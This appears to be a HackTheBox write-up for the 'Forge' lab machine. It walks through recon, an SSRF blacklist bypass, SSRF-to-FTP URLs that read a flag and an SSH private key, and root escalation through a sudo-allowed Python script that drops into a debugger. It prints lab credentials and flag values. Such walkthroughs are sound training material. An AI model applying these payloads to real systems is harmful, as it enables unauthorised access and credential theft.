HackTheBox: Forge Machine Solution
As promised in my last HTB post, this one is a solution for a medium machine. Forge
has been recently retired so let’s dive into it this box!
0x00 Recon
Our initial port scan shows your standard ports open on the host
# Nmap 7.80 scan initiated Tue Dec 14 11:47:49 2021 as: nmap -p21,22,80 -sV -sC -A -oN scan.nmap forge.htb
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.015s latency).
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 15.05 ms 10.10.14.1
2 15.18 ms forge.htb (10.10.11.111)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 14 11:48:01 2021 -- 1 IP address (1 host up) scanned in 12.45 seconds
Checking for common subdomains revealed a hit as well – more attack surface for us to investigate!
gobuster vhost -m GET -u http://forge.htb -w ~/SecLists/Discovery/DNS/fierce-hostlist.txt|grep 200
Found: admin.forge.htb (Status: 200) [Size: 27]
So we’ve got a filtered FTP port, SSH, and a webserver w/ 2 vhosts
forge.htb
admin.forge.htb
Main Website
Browsing through the main website at http://forge.htb
the only interesting functionality is found at the /upload
endpoint. Upon first glance, the “Upload from URL” feature screams SSRF to me.
After massaging this feature a bit, I realized the following domains were blacklisted:
localhost
127.0.0.1
forge.htb
I ended up writing my own redirector in Python here:
Now I could send http://MY_VPN_IP:8000/
as the URL to upload from, which would then redirect the server to admin.forge.htb
, allowing me to skip having to type the domain in at all. NOTE: I shortly figured out after the fact that capitalizing certain parts of the domain also bypasses the blacklist…🤪
Doesn’t matter, got to exercise some scripting skills and it worked anyway. It revealed an /announcements
endpoint that when accessed gave us some creds:
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
</ul>
Creds: user:heightofsecurity123!
Remember that filtered FTP port? I bet you could hit it if you were coming from the internal IP space 😉
Putting the whole thing together we end up with the following as our payload:
http://admin.FORGE.htb/upload?u=ftp://user:[email protected]/
Supplying that string as a URL to upload from returns the following directory listing:
drwxr-xr-x 3 1000 1000 4096 Aug 04 19:23 snap
-rw-r----- 1 0 1000 33 Dec 14 16:46 user.txt
User Flag
Payload::
http://admin.FORGE.htb/upload?u=ftp://user:[email protected]/user.txt
Flag: d5c010ce8b1f89376004ad8a1445017b
0x01 Foothold
Trying to access the SSH port lets us know it’s publickey auth only, which tells me I can use the read primitive from earlier to grab a SSH key! Checking for the standard ~/.ssh/id_rsa
path returns a hit :)
Pull it down, chmod 600
and log in w/ ssh -i user_key [email protected]
.
Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6
[email protected]:~$
0x02 Root
Now that we have a proper foothold/shell, we can now do some more enumeration on the host. A favorite enumeration command of mine is listing the allowed (and forbidden) commands for the invoking user. We can do that with sudo -l
.
Running it on this host reveals we can invoke a certain python script via sudo
without needed a password – sounds like priv esc to me! 😄
Output of sudo -l
User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py
remote-manage.py
After reading the source of the python script and consulting the pydocs, the bug is clear and we need to crash the script so we can drop into our interactive shell. Once doing so, the interactive shell spawns as root, and reading the flag is trivial from here
Root Flag
Payload: subprocess.check_output(["cat", "/root/root.txt"])
Flag: fcbe2fffd69ef9200c74169a52f74d45